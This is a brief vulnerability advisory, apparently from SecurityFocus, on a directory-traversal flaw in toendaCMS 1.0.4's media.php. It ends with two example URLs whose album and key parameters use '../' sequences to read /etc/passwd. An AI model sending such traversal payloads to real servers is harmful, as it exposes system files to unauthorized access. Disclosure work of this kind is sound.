source: https://www.securityfocus.com/bid/20170/info toendaCMS is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data. Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks. Version 1.0.4 is vulnerable; other versions may also be affected. http://www.example.com/media.php?album=1005bb&key=../../../../../../../../../../../../../etc/passwd http://www.example.com/media.php?album=../../../../../../../../../../../../..&key=/etc/passwd